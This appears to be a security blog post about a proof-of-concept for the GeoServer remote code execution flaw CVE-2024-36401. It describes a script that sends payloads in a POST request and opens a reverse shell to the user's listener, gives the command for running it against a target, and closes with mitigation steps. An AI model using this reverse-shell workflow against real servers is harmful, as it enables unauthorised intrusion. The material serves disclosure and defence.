Vulnerability Analysis

GeoServer Vulnerability : Reverse Shell Execution For CVE-2024-36401

POC for CVE-2024-36401: RCE for GeoServer version prior to 2.25.1, 2.24.3 and 2.23.5 of GeoServer. This POC is based on the security advisory by phith0n.

How It Works

  1. Sets up a listener on your machine for incoming reverse shell from the target.
  2. This POC will send a post request with the payloads.
  3. Attempts to establish a shell on the target server.
  4. This technique assumes nc is installed on the target.

How To Use

This POC will attempt to establish a reverse shell from the vlun targets. This is aimed to work against vlun Linux targets. You will have to have a machine with published and accessiable IP in order to run this poc.

Minimum Requirements

  • Python 3.6 or higher
  • requests library

To use this POC against a single target:

python CVE-2024-36401.py -u HTTP://TARGET:9090 -ip YOUR-IP -port LOCAL-PORT-NUMBER -type GeoServer-Object-Type

Help:

python3 CVE-2024-36401.py  -h

options:
  -h, --help  show this help message and exit
  -u U        Target, example https://target:8080
  -ip IP      Your IP, example 192.168.1.1
  -port PORT  Port, example 1337
  -type TYPE  Type, example sf:archsites

How To Protect Your GeoServer Appliance

1- Disable WFS requests.

2- Secure your linux by configuring iptables to disable reverse connections, set default policies to drop all traffic, allow established and related connections, and permit only essential outbound traffic like DNS, HTTP, and HTTPS

3- Or upgrade to the latest version of GeoServer.

Varshini

Varshini is a Cyber Security expert in Threat Analysis, Vulnerability Assessment, and Research. Passionate about staying ahead of emerging Threats and Technologies.

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